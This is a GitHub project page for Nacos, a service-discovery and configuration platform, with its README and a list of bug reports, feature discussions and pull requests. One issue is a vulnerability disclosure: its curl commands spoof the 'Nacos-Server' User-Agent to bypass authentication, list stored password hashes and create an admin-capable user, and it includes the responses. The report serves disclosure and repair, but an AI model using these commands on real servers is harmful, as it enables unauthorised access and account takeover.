Nacos: Dynamic Naming and Configuration Service

Overview

Nacos: Dynamic Naming and Configuration Service

Gitter License Gitter


What does it do

Nacos (official site: nacos.io) is an easy-to-use platform designed for dynamic service discovery and configuration and service management. It helps you to build cloud native applications and microservices platform easily.

Service is a first-class citizen in Nacos. Nacos supports almost all type of services,for example,Dubbo/gRPC service, Spring Cloud RESTFul service or Kubernetes service.

Nacos provides four major functions.

  • Service Discovery and Service Health Check

    Nacos makes it simple for services to register themselves and to discover other services via a DNS or HTTP interface. Nacos also provides real-time health checks of services to prevent sending requests to unhealthy hosts or service instances.

  • Dynamic Configuration Management

    Dynamic Configuration Service allows you to manage configurations of all services in a centralized and dynamic manner across all environments. Nacos eliminates the need to redeploy applications and services when configurations are updated, which makes configuration changes more efficient and agile.

  • Dynamic DNS Service

    Nacos supports weighted routing, making it easier for you to implement mid-tier load balancing, flexible routing policies, flow control, and simple DNS resolution services in the production environment within your data center. It helps you to implement DNS-based service discovery easily and prevent applications from coupling to vendor-specific service discovery APIs.

  • Service and MetaData Management

    Nacos provides an easy-to-use service dashboard to help you manage your services metadata, configuration, kubernetes DNS, service health and metrics statistics.

Quick Start

It is super easy to get started with your first project.

Deploying Nacos on cloud

You can deploy Nacos on cloud, which is the easiest and most convenient way to start Nacos.

Use the following Nacos deployment guide to see more information and deploy a stable and out-of-the-box Nacos server.

Start by the provided startup package

Step 1: Download the binary package

You can download the package from the latest stable release.

Take release nacos-server-1.0.0.zip for example:

unzip nacos-server-1.0.0.zip
cd nacos/bin 

Step 2: Start Server

On the Linux/Unix/Mac platform, run the following command to start server with standalone mode:

sh startup.sh -m standalone

On the Windows platform, run the following command to start server with standalone mode. Alternatively, you can also double-click the startup.cmd to run NacosServer.

startup.cmd -m standalone

For more details, see quick-start.

Quick start for other open-source projects:

Documentation

You can view the full documentation from the Nacos website.

All the latest and long-term notice can also be found here from Github notice issue.

Contributing

Contributors are welcomed to join Nacos project. Please check CONTRIBUTING about how to contribute to this project.

How can I contribute?

  • Take a look at issues with tags marked good first issue or contribution welcome.
  • Answer questions on issues.
  • Fix bugs reported on issues, and send us a pull request.
  • Review the existing pull request.
  • Improve the website, typically we need
    • blog post
    • translation on documentation
    • use cases around the integration of Nacos in enterprise systems.

Other Related Project Repositories

  • nacos-spring-project provides the integration functionality for Spring.
  • nacos-group is the repository that hosts the eco tools for Nacos, such as SDK, synchronization tool, etc.
  • spring-cloud-alibaba provides the one-stop solution for application development over Alibaba middleware which includes Nacos.

Contact

  • Gitter: Nacos's IM tool for community messaging, collaboration and discovery.
  • Twitter: Follow along for latest nacos news on Twitter.
  • Weibo: Follow along for latest nacos news on Weibo (Twitter of China version).
  • Nacos Segmentfault: Get latest notice and prompt help from Segmentfault.
  • Email Group:
  • Join us from DingDing(Group 1: 21708933(full), Group 2: 30438813).

Nacos

Enterprise Service

If you need Nacos enterprise service support, or purchase cloud product services, you can join the discussion by scanning the following DingTalk group. It can also be directly activated and used through the microservice engine (MSE) provided by Alibaba Cloud. https://cn.aliyun.com/product/aliware/mse?spm=nacos-website.topbar.0.0.0

image

Download

Who is using

These are only part of the companies using Nacos, for reference only. If you are using Nacos, please add your company here to tell us your scenario to make Nacos better.

Alibaba Group 虎牙直播 ICBC 爱奇艺 平安科技 华夏信财 优客工场 贝壳找房 瑞安农村商业银行 司法大数据 搜易贷 美菜 松格科技 平行云 甘肃紫光 海云天 集萃智能 Acmedcare+ 吾享 北京天合互联信息有限公司 上海密尔克卫化工 大连新唯 立思辰 拓深科技 东家 上海克垚 郑州山水 联采科技 南京28研究所 长亮科技 深圳易停车库 凤凰网-汽车 武汉日创科技 易管智能 云帐房 知氏教育 中化信息 一点车 明传无线 妙优车 蜂巢 华存数据 数云 广通软件 菜菜 科蓝公司 浩鲸 未名天日语 金联创 同窗链 顺能 百世快递 汽车之家 鲸打卡 时代光华 康美 环球易购 Nepxion 东莞最佳拍档 chigua 宅无限 天阙 联合永道 明源云 三诺生物

Comments
  • 升级Spring 2.4.1 ConfigurationBeanFactoryMetadata 找不到

    升级Spring 2.4.1 ConfigurationBeanFactoryMetadata 找不到

    org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'nacosConfigurationPropertiesBinder': Bean instantiation via constructor failed; nested exception is org.springframework.beans.BeanInstantiationException: Failed to instantiate [com.alibaba.boot.nacos.config.binder.NacosBootConfigurationPropertiesBinder]: Constructor threw exception; nested exception is java.lang.NoClassDefFoundError: org/springframework/boot/context/properties/ConfigurationBeanFactoryMetadata

    <dependency>
            <groupId>com.alibaba.boot</groupId>
            <artifactId>nacos-discovery-spring-boot-starter</artifactId>
            <version>0.2.7</version>
        </dependency>
        <!-- 2. nacos-服务发现功能依赖 -->
        <dependency>
            <groupId>com.alibaba.boot</groupId>
            <artifactId>nacos-config-spring-boot-starter</artifactId>
            <version>0.2.7</version>
        </dependency>
    
    area/Spring Boot 
    opened by onexuan 77
  • window10 下 nacos占满cpu

    window10 下 nacos占满cpu

    最近使用nacos 发现了一个问题,nacos 启动后,大概经过两个半小时就会突然占满cpu。

    电脑环境:windows10 nacos 版本:1.2.0,1.2.1,1.3.1 (都是windows 版,这三个版本我都试过了) 操作:开启nacos 之后,等待 大概两个小时到两个半小时。

    现象:等到一定时间后,电脑cpu 突然占满。(用了两台电脑都这样测过,都会出现这样的现象)

    1

    os/windows java 
    opened by xmf1142987374 73
  • Report a security vulnerability in nacos to bypass authentication

    Report a security vulnerability in nacos to bypass authentication

    ------------------------------------ english

    Hello, my name is threedr3am. I found a security loophole in nacos authentication bypass. After nacos turns on authentication, you can still bypass authentication and access any http interface.

    By default, nacos needs to modify the application.properties configuration file or add the JVM startup variable -Dnacos.core.auth.enabled=true to enable the authentication function (reference: https://nacos.io/en-us/docs/auth.html)

    But after turning on the authentication, I found that in the code, the authentication can still be bypassed under certain circumstances and any interface can be called. Through this vulnerability, I can bypass the authentication and do:

    Call the add user interface, add a new user (POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test), and then use the newly added user to log in to the console to access, modify, and add data.

    1. Vulnerability details

    The main sources of vulnerabilities are:

    com.alibaba.nacos.core.auth.AuthFilter#doFilter

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        
        if (!authConfigs.isAuthEnabled()) {
            chain.doFilter(request, response);
            return;
        }
        
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        
        String userAgent = WebUtils.getUserAgent(req);
        
        if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
            chain.doFilter(request, response);
            return;
        }
        
        ...
    }
    

    As you can see, there is an if judgment statement here. It judges that userAgent (http header-UserAgent) starts with the Constants.NACOS_SERVER_HEADER string (Nacos-Server) and skips any subsequent authentication.

    According to my guess, the code here should be used to call nacos' http interface for some services in the intranet without authentication, but when I checked the official document, there was no explanation about this, and I checked the authentication When the authorization-related documents (https://nacos.io/en-us/docs/auth.html), it only describes how to enable authentication and the consequences of not enabling authentication.

    But because of this, the user will think that through the configuration described in the authentication document, the nacos can be used safely after the authentication is configured, but because the UserAgent here is bypassed, the authentication is useless.

    This is the importance of secure by default.

    2. the scope of the vulnerability

    Scope of influence:

    1. 2.0.0-ALPHA.1
    2. 1.x.x

    3. Vulnerability recurrence

    1. Access user list interface
    curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'
    

    As you can see, the authentication is bypassed and the user list data is returned

    {
        "totalCount": 1,
        "pageNumber": 1,
        "pagesAvailable": 1,
        "pageItems": [
            {
                "username": "nacos",
                "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
            }
        ]
    }
    
    1. Add new user
    curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'
    

    As you can see, authentication has been bypassed and new users have been added

    {
        "code":200,
        "message":"create user ok!",
        "data":null
    }
    
    1. View the user list again
    curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'
    

    As you can see, in the returned user list data, there is one more user we created by bypassing authentication.

    {
        "totalCount": 2,
        "pageNumber": 1,
        "pagesAvailable": 1,
        "pageItems": [
            {
                "username": "nacos",
                "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
            },
            {
                "username": "test",
                "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
            }
        ]
    }
    
    1. Visit the homepage http://127.0.0.1:8848/nacos/, log in to the new account, and you can do anything

    4. repair suggestions

    1. By default, if authentication is enabled, the default UserAgent: Nacos-Server request should not be allowed to bypass authentication
    2. The description of the relevant UserAgent: Nacos-Server request to bypass authentication should be added to the document

    ------------------------------------ 中文

    你好,我是threedr3am,我发现了一个nacos的认证绕过安全漏洞,在nacos开启了鉴权后,依然能绕过鉴权访问任何http接口。

    在默认情况下,nacos需要通过修改application.properties配置文件或添加JVM启动变量-Dnacos.core.auth.enabled=true即可开启鉴权功能 (参考:https://nacos.io/en-us/docs/auth.html)

    但在开启鉴权后,我发现代码中,任然可以在某种情况下绕过认证,调用任何接口,通过该漏洞,我可以绕过鉴权,做到:

    调用添加用户接口,添加新用户(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用户登录console,访问、修改、添加数据。

    一、漏洞详情

    漏洞主要根源在于:

    com.alibaba.nacos.core.auth.AuthFilter#doFilter

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        
        if (!authConfigs.isAuthEnabled()) {
            chain.doFilter(request, response);
            return;
        }
        
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        
        String userAgent = WebUtils.getUserAgent(req);
        
        if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
            chain.doFilter(request, response);
            return;
        }
        
        ...
    }
    

    可以看到,此处有一个if判断语句,它判断了userAgent(http header - UserAgent)只要是以Constants.NACOS_SERVER_HEADER字符串(Nacos-Server)开头,则跳过后续的任何鉴权

    据我猜测,该处代码应该是为了给内网中某些服务无需鉴权地调用nacos的http接口,但我在查看官方文档时,无任何一处对此作了说明,并且我通过查看鉴权相关文档时(https://nacos.io/en-us/docs/auth.html),它只描述了如何开启鉴权,以及不开启鉴权的后果。

    但正是如此,使用者会认为,通过该鉴权文档描述的配置,配置鉴权之后就能安全使用nacos,结果却因为此处的UserAgent绕过,鉴权形同虚设。

    这正是secure by default的重要性。

    二、漏洞影响范围

    影响范围:

    1. 2.0.0-ALPHA.1
    2. 1.x.x

    三、漏洞复现

    1. 访问用户列表接口
    curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'
    

    可以看到,绕过了鉴权,返回了用户列表数据

    {
        "totalCount": 1,
        "pageNumber": 1,
        "pagesAvailable": 1,
        "pageItems": [
            {
                "username": "nacos",
                "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
            }
        ]
    }
    
    1. 添加新用户
    curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'
    

    可以看到,绕过了鉴权,添加了新用户

    {
        "code":200,
        "message":"create user ok!",
        "data":null
    }
    
    1. 再次查看用户列表
    curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'
    

    可以看到,返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户

    {
        "totalCount": 2,
        "pageNumber": 1,
        "pagesAvailable": 1,
        "pageItems": [
            {
                "username": "nacos",
                "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
            },
            {
                "username": "test",
                "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
            }
        ]
    }
    
    1. 访问首页http://127.0.0.1:8848/nacos/,登录新账号,可以做任何事情

    四、修复建议

    1. 默认情况下,如果开启了鉴权,应该不允许默认 UserAgent: Nacos-Server 请求可以绕过鉴权
    2. 文档中应该加入相关 UserAgent: Nacos-Server 请求绕过鉴权的描述

    regards, threedr3am

    kind/bug 
    opened by threedr3am 62
  • 1.3.0docker配置集群模式异常

    1.3.0docker配置集群模式异常

    Issue Description

    Type: bug report or feature request

    Describe what happened (or what feature you want)

    使用nacos作为注册中心,单机模式正常,但是切换到集群模式下(mode改为cluster)docker compose配置如下; 单机模式配置(运行正常) image 集群模式配置(运行异常,特别卡顿,疯狂的gc,最后导致服务宕机,只运行了一台机器) image 只在一台机器上启动了一个nacos服务,mode改为cluster后,非常的卡,服务只有部分能注册上,随便点一个都会疯狂gc 最后服务宕掉 image

    Describe what you expected to happen

    麻烦帮我看下是dockercompose配置有问题还是怎么回事,此外,集群信息里为什么是open-test:8848,这是哪里来的呢

    Tell us your environment

    ubuntu14.04

    Anything else we need to know?

    status/invalid 
    opened by yueyuanyu 55
  • 集群模式bug,使用discovery会报错java.lang.IllegalStateException: failed to req API:/nacos/v1/ns/instance after all servers([172.XX.XX.23:80]) tried

    集群模式bug,使用discovery会报错java.lang.IllegalStateException: failed to req API:/nacos/v1/ns/instance after all servers([172.XX.XX.23:80]) tried

    集群模式bug,使用discovery会报错java.lang.IllegalStateException: failed to req API:/nacos/v1/ns/instance after all servers([172.XX.XX.23:80]) tried 这个问题百度里也是大量反馈了 现在我用的全是最新的,还是有这个bug

    kind/user experience area/Naming 
    opened by besthanliu 50
  • nacos-client的HostReactor类的 processServiceJson方法中的推空防护机制在dubbo2.7.5应用环境下无法生效

    nacos-client的HostReactor类的 processServiceJson方法中的推空防护机制在dubbo2.7.5应用环境下无法生效

    Describe the bug dubbo服务上线、下线更新服务时,nacos-client的HostReactor处理服务列表更新的方法processServiceJson持续收到空hosts列表,导致客户端将服务列表清空,调用dubbo服务(版本2.7.5) 出现no provider,实际上dubbo服务一直运行正常。

    测试环境: nacos注册中心(集群多节点):1.4.1和1.2.1两个版本均测过 nacos客户端版本:1.4.1和1.2.1两个版本都会出现,使用1.4.1版本时问题更严重 1.4.1版本的com.alibaba.nacos.client.naming.core.HostReactor类的processServiceJson方法相比1.2.1,默认不再判断收到的serviceInfo内容是否合法(判断条件增加了一个配置选项pushEmptyProtection,默认为false)。

    Expected behavior

    1. nacos-client处理服务列表推送Json串时,processServiceJson方法忽略CollectionUtils.isEmpty(serviceInfo.getHosts())的情况(即使服务都没有了,调用失败抛channel closed异常也好过把正常服务全清掉)。
    2. 排查nacos-server端的服务列表推送代码,不要莫名其妙地持续推送空服务列表给客户端,偶尔抽风可以忍受,持续这么搞就离谱了。

    Acutally behavior 收到的服务推送列表为empty时(serviceInfo.getHosts().size()==0)时,服务列表被动清空,导致调用dubbo服务出现No provider。

    kind/question 
    opened by zrlw 36
  • Roadmap discussion

    Roadmap discussion

    Nacos 1.1.0 will be released on July 5th and includes updates to features such as grayscale configuration. At the same time, Nacos will release this year's overall Roadmap, which has collected a lot of feedback from the community. Nacos is committed to solving user problems, and hopes that each version will bring tangible expectations and benefits to users.

    So here are the main features that have been included in the Roadmap, you can point out several features that you think are important in the response, and explain the scenarios used.

    In the end, Nacos will follow the community feedback to decide the following plan, and all the features in the roadmap can be applied for development. In short, Nacos is defined by the community!

    • Grayscale configuration
    • Configure permission control
    • Service permission control
    • Service Mesh docking, such as docking Pilot
    • gRPC service discovery support
    • Thrift service discovery support
    • DNS protocol support, support Kubernetes DNS specification
    • Confd mode rendering configuration
    • Configure release approval
    • Configure encryption
    • Inter-cluster configuration synchronization
    • Raft protocol abstraction and replacement
    • Kubernetes ConfigMap docking
    • Mysql dependencies can be replaced with local or other storage
    • Support Kubernetes Label storage
    • Support for Kubernetes health check
    • Command line operation and maintenance tools similar to Zookeeper
    • IPv6 support
    • Nacos Go SDK
    • Nacos C++ SDK

    Nacos 1.1.0即将于7月5号发布,包含灰度配置等功能的更新。同时将发布的是Nacos今年整体的Roadmap,目前已经收集到社区的众多反馈。Nacos致力于解决用户的问题,希望每一个版本都能给用户带来切实的期待和收益。

    因此在这里将已经纳入Roadmap的主要特性列举出来,你可以在回复中将你认为比较重要的几个特性指出,并说明下使用的场景

    最终,Nacos会按照社区的反馈来决定接下来的版本计划,同时所有在roadmap里的特性,都可以来认领开发。总之,Nacos由社区定义!

    • 灰度配置
    • 配置权限控制
    • 服务权限控制
    • Service Mesh对接,例如对接Pilot
    • gRPC服务发现支持
    • Thrift服务发现支持
    • DNS协议支持,支持Kubernetes DNS规范
    • Confd模式渲染配置
    • 配置发布审批
    • 配置加密
    • 集群间配置同步
    • Raft协议抽象及替换
    • Kubernetes ConfigMap对接
    • Mysql依赖可替换为本地或者其他存储
    • 支持Kubernetes Label存储
    • 支持使用Kubernetes健康检查
    • 与Zookeeper类似的命令行运维工具
    • IPv6支持
    • Nacos Go SDK
    • Nacos C++ SDK
    help wanted kind/discussion 
    opened by nkorange 34
  • The features to be implemented after Nacos 1.0.0

    The features to be implemented after Nacos 1.0.0

    After several months of work, Nacos 1.0.0 is going to be released as the one large scale production-ready version. We are glad that many companies and users are using Nacos as their running or candidate configuration center or registry center. At meantime we are deeply grateful to all our contributors for their commits, suggestions, bug reports and other meaningful work.

    Now we invite you to contribute ideas for the future of Nacos. You can reply with your most concerned features that you want Nacos to implement after Nacos 1.0.0. Please provide some backgrounds or details for your suggestion, so we can understand your idea more appropriately.

    help wanted kind/discussion 
    opened by nkorange 32
  • Caused by: java.net.UnknownHostException: jmenv.tbsite.net

    Caused by: java.net.UnknownHostException: jmenv.tbsite.net

    Describe what you expected to happen

    启动时nacos.log 出现了如下异常:

    Caused by: com.alibaba.nacos.api.exception.NacosException: java.net.UnknownHostException: jmenv.tbsite.net
            at com.alibaba.nacos.core.cluster.lookup.AddressServerMemberLookup.run(AddressServerMemberLookup.java:110)
            at com.alibaba.nacos.core.cluster.lookup.AddressServerMemberLookup.start(AddressServerMemberLookup.java:66)
            at com.alibaba.nacos.core.cluster.ServerMemberManager.initAndStartLookup(ServerMemberManager.java:156)
            at com.alibaba.nacos.core.cluster.ServerMemberManager.init(ServerMemberManager.java:144)
            at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
            at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
            at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
            at java.lang.reflect.Method.invoke(Method.java:498)
            at org.springframework.beans.factory.annotation.InitDestroyAnnotationBeanPostProcessor$LifecycleElement.invoke(InitDestroyAnnotationBeanPostProcessor.java:363)
            at org.springframework.beans.factory.annotation.InitDestroyAnnotationBeanPostProcessor$LifecycleMetadata.invokeInitMethods(InitDestroyAnnotationBeanPostProcessor.java:307)
            at org.springframework.beans.factory.annotation.InitDestroyAnnotationBeanPostProcessor.postProcessBeforeInitialization(InitDestroyAnnotationBeanPostProcessor.java:136)
            ... 111 common frames omitted
    Caused by: java.net.UnknownHostException: jmenv.tbsite.net
            at java.net.InetAddress.getAllByName0(InetAddress.java:1281)
            at java.net.InetAddress.getAllByName(InetAddress.java:1193)
            at java.net.InetAddress.getAllByName(InetAddress.java:1127)
            at org.apache.http.impl.conn.SystemDefaultDnsResolver.resolve(SystemDefaultDnsResolver.java:45)
            at org.apache.http.impl.conn.DefaultHttpClientConnectionOperator.connect(DefaultHttpClientConnectionOperator.java:111)
            at org.apache.http.impl.conn.PoolingHttpClientConnectionManager.connect(PoolingHttpClientConnectionManager.java:353)
            at org.apache.http.impl.execchain.MainClientExec.establishRoute(MainClientExec.java:380)
            at org.apache.http.impl.execchain.MainClientExec.execute(MainClientExec.java:236)
            at org.apache.http.impl.execchain.ProtocolExec.execute(ProtocolExec.java:184)
            at org.apache.http.impl.execchain.RetryExec.execute(RetryExec.java:88)
            at org.apache.http.impl.execchain.RedirectExec.execute(RedirectExec.java:110)
            at org.apache.http.impl.client.InternalHttpClient.doExecute(InternalHttpClient.java:184)
            at org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:82)
            at org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:107)
            at com.alibaba.nacos.common.http.BaseHttpClient.execute(BaseHttpClient.java:45)
            at com.alibaba.nacos.common.http.NacosSyncHttpClient.get(NacosSyncHttpClient.java:46)
            at com.alibaba.nacos.core.cluster.lookup.AddressServerMemberLookup.syncFromAddressUrl(AddressServerMemberLookup.java:155)
            at com.alibaba.nacos.core.cluster.lookup.AddressServerMemberLookup.run(AddressServerMemberLookup.java:101)
            ... 121 common frames omitted
    

    From the above code, I can know that jmenv.tbsite.net has no configuration mapping in the host file. But I just start nacos locally, why should I map this domain name?

    By the way, it's ok on win7. the same config.

    以上代码我可以得知,jmenv.tbsite.net 在host文件中没有配置映射。但是我只是本地启动一个nacos,为什么要映射这个域名?

    相同配置在windows7上可正常运行

    Tell us your environment

    Linux version 4.19.0-8-amd64 ([email protected]) (gcc version 8.3.0 (Debian 8.3.0-6)) #1 SMP Debian 4.19.98-1 (2020-01-26)

    java version "1.8.0_251"

    nacos-server-1.3.0-BETA

    opened by mintonzhang 31
  • Please vote and comments for Nacos console UI theme&style

    Please vote and comments for Nacos console UI theme&style

    The community decided to add a console to the Nacos 0.3 version, and now collects a console-style design draft.

    Console-style design draft should have:

    1. The Nacos logo should be included on the console.
    2. Clear style, suitable for programmers.
    3. The interaction design is simple and practical.
    4. Have a link to Nacos's official website.

    The community will vote on all the candidates.

    opened by xuechaos 29
  • [Feature discuss] The discuss of Multi-data source plugin(多数据源插件实现讨论)

    [Feature discuss] The discuss of Multi-data source plugin(多数据源插件实现讨论)

    Nacos Multi-data source discuss

    Background

    The current configuration center module of Nacos is not perfect for the ability to access multiple data sources. With the growing voice of the community, we need to improve the plug-ins that support multiple data sources in Nacos. The existing SQL operations are abstracted from the SPI interface, and the implementation of Mysql is provided, and the existing SQL operations are transformed to support plug-in.

    My Plan:

    1. Support for multiple data sources.
    2. Resolve SQL dialect differences between multiple data sources.
    3. Provide a Builder class to help plug-in writer write dynamic SQL statement, at the same time plug-in writer can also write SQL statement directly, this process does not do specific requirements.
    4. Keep scalability.

    Architecture design

    The overall architecture is shown below: image

    1. Abstract a Mapper layer on the original basis to focus on SQL writing and execution;
    2. A MapperManager class is introduced to manage the Mapper implementation of SPI.
    3. Introduce a DataSourceManager to manage multiple data sources.

    The overall flowchart is shown below: image

    1. Load the data source according to the Application.properties;
    2. Use SPI to load Mapper;
    3. If there is no SPI, use the default MYSQL implementation;

    Change point

    1. The SQL statement in the Config module of the NACOS is divided into the corresponding Mapper according to the table according to the table
    2. Use JDBCTEMPlate to directly execute the SQL statement method to obtain the request results by using the JDBCTEMPLETE layer in the Config module to change the required method to obtain the request result to obtain the required required method.

    Scenes to be used

    1. For other data sources supported by NACOS, other data sources support developers with demand;
    2. The second developers need to expand the Config module SQL operation to provide a convenient expansion structure;

    How to use

    The main writing steps of the plug -in writer are as follows:

    1. Plug -in writers rewrite the method in the subclass of each mapper interface Mapper;
    2. You can use the implementation of the parent abstract class by default. The data source is MySQL;
    3. Write the full-limited name of the rewriting class into Meta-INF/Services/to load the SPI for a large data source plug-in;
    4. The data source transformation is completed;

    How to use the user of MySQL and Derby database: No change in use;

    Nacos多数据源issue讨论介绍

    背景

    Nacos 目前的配置中心模块对于接入多数据源的能力是不完善的,随着社区的呼声越来越高,我们需要完善Nacos 支持多数据源的插件。将现有的 SQL 操作抽象出 SPI 接口,并提供Mysql 的实现,改造现有的 SQL 操作,让它支持插件化。

    我的方案:

    1. 支持多数据源;
    2. 解决多数据源间SQL方言的差别;
    3. 提供builder帮助插件编写者编写动态SQL语句,同时插件编写者也可以直接编写SQL语句,对此过程不做具体要求;
    4. 保持扩展性;

    架构设计

    整体架构如下所示: image

    1. 在原有的基础上抽象一层Mapper层去专注于SQL的编写以及执行;
    2. 引入一个MapperManager管理SPI的Mapper实现;
    3. 引入一个DataSourceManager管理多数据源;

    整体流程图如下所示: image

    1. 启动后根据application.properties加载数据源;
    2. 使用SPI加载Mapper;
    3. 若无SPI那么使用默认MySQL实现;

    改动点

    1. 将Nacos的Config模块中的SQL语句按表进行抽象划分为对应的Mapper
    2. 将Config模块中service层使用JdbcTemplate直接执行SQL语句获取请求结果的方法,变为service层调用所需Mapper的方法获取请求结果

    使用场景

    1. 对于非老版本Nacos支持的其他数据源支持有需求的开发者;
    2. 需要扩展Config模块SQL操作的二次开发者提供方便扩展的架构;

    使用方式

    插件编写者的主要编写步骤如下:

    1. 插件编写者重写各个Mapper接口的子抽象类Mapper中的方法;
    2. 可默认使用父抽象类中的实现,其数据源为MySQL;
    3. 将重写后的类全限定名写入META-INF/services/下,用以多数据源插件进行SPI加载;
    4. 数据源改造完成;

    MySQL以及Derby数据库的使用者的使用方式: 使用上并无改变;

    kind/feature area/Config kind/proposal 
    opened by The-Gamer-01 28
  • macOS配置了server-addr,启动还是找loclahost

    macOS配置了server-addr,启动还是找loclahost

    spring:
      profiles:
        #引用application-common.yml文件
        include: common
      application:
        name: bff-driver
      redis:
        database: 3
        host: 192.168.212.144
        port: 6379
        password: 123456
        jedis:
          pool:
            max-active: 1000
            max-wait: -1ms
            max-idle: 16
            min-idle: 8
      cloud:
        inetutils:
          #子系统注册到Nacos上的IP地址
          preferred-networks: 192.168.212.144
        nacos:
          #配置子系统在Web管理页面上的注册信息
          config:
            group: DEFAULT_GROUP
            file-extension: yaml
            server-addr: 192.168.212.144:8848
            prefix: ${spring.application.name}
            namespace: hxds
          #配置子系统在Nacos上的注册信息
          discovery:
            namespace: hxds
            username: nacos
            password: nacos
            server-addr: 192.168.212.144:8848
            heart-beat-interval: 1000
            heart-beat-timeout: 1000
            group: DEFAULT_GROUP
    

    如上配置,启动老师报错,如下 image

    opened by aomsir 0
  • 错误:Server check fail, please check server 10.110.141.46 ,port 9848 is available , error ={}

    错误:Server check fail, please check server 10.110.141.46 ,port 9848 is available , error ={}

    Nacos版本:2.2.0 使用docker单机运行,命令:docker run -e MODE=standalone --name nacos --net=host -d -p 8848:8848 -p 9848:9848 -p 9849:9849 -e SPRING_DATASOURCE_PLATFORM=mysql -e MYSQL_SERVICE_HOST=连接地址 -e MYSQL_SERVICE_DB_NAME=数据库名 -e MYSQL_SERVICE_PORT=端口 -e MYSQL_SERVICE_USER=账号 -e MYSQL_SERVICE_PASSWORD=密码 镜像id 容器是可以正常运行起来的。

    docker部署在ip=10.110.141.46的服务器 应用服务部署在ip=10.110.141.44的服务器

    在10.110.141.44的服务器去ping 10.110.141.44 9848是可以通的,端口都开放了

    应用服务连接nacos就报错:Server check fail, please check server 10.110.141.46 ,port 9848 is available , error ={}

    两个服务器都是在同一个局域网。

    最终拉取不到nacos上面的配置。

    opened by beanlks 0
  • [ISSUE #9789]upgrade jraft version to 1.3.12 .

    [ISSUE #9789]upgrade jraft version to 1.3.12 .

    What is the purpose of the change

    1. support feature #9772 (use the same grpce version).
    2. support Apple Silicon.
    3. fix CVEs。

    Brief changelog

    upgrade jraft-core and rpc-grpc-impl version to 1.3.12

    Verifying this change

    XXXX

    Follow this checklist to help us incorporate your contribution quickly and easily:

    • [ ] Make sure there is a Github issue filed for the change (usually before you start working on it). Trivial changes like typos do not require a Github issue. Your pull request should address just this issue, without pulling in other changes - one PR resolves one issue.
    • [ ] Format the pull request title like [ISSUE #123] Fix UnknownException when host config not exist. Each commit in the pull request should have a meaningful subject line and body.
    • [ ] Write a pull request description that is detailed enough to understand what the pull request does, how, and why.
    • [ ] Write necessary unit-test to verify your logic correction, more mock a little better when cross module dependency exist. If the new feature or significant change is committed, please remember to add integration-test in test module.
    • [ ] Run mvn -B clean package apache-rat:check findbugs:findbugs -Dmaven.test.skip=true to make sure basic checks pass. Run mvn clean install -DskipITs to make sure unit-test pass. Run mvn clean test-compile failsafe:integration-test to make sure integration-test pass.
    opened by YunWZ 0
  • [Feature] upgrade Jraft version to 3.8.12

    [Feature] upgrade Jraft version to 3.8.12

    Is your feature request related to a problem? Please describe.

    Jraft-1.3.8 has some Vulnerabilities. Also it does not support Apple Silicon.

    Once we upgrade the Jraft version to 1.3.12, it will not only solve the security problem, but also support Apple chips (this feature also needs to upgrade grpc. See about #9772)

    Describe the solution you'd like upgrade Jraft/rpc-grpc-impl version to 1.3.12 (the latest version).

    Describe alternatives you've considered A clear and concise description of any alternative solutions or features you've considered.

    Additional context Add any other context or screenshots about the feature request here.

    opened by YunWZ 0
  • [ISSUE #9772] feature about grpc

    [ISSUE #9772] feature about grpc

    Also see about issues #9537 and #9772.

    What is the purpose of the change

    upgrade grpc version.

    Brief changelog

    1. upgrade grpc version to 1.50.2;
    2. remove channel from GrpcConnection;
    3. close GrpcConnection by ServerCallStreamObserver
    4. add some properties of nacos server and client side.

    server side: new properties and default values:

    nacos.remote.server.grpc.sdk.max-inbound-message-size=10485760
    nacos.remote.server.grpc.sdk.keep-alive-time=360000
    nacos.remote.server.grpc.sdk.keep-alive-timeout=1080000
    nacos.remote.server.grpc.sdk.max-connection-idle=30000
    nacos.remote.server.grpc.sdk.permit-keep-alive-time=600000
    
    nacos.remote.server.grpc.cluster.max-inbound-message-size=10485760
    nacos.remote.server.grpc.cluster.keep-alive-time=360000
    nacos.remote.server.grpc.cluster.keep-alive-timeout=1080000
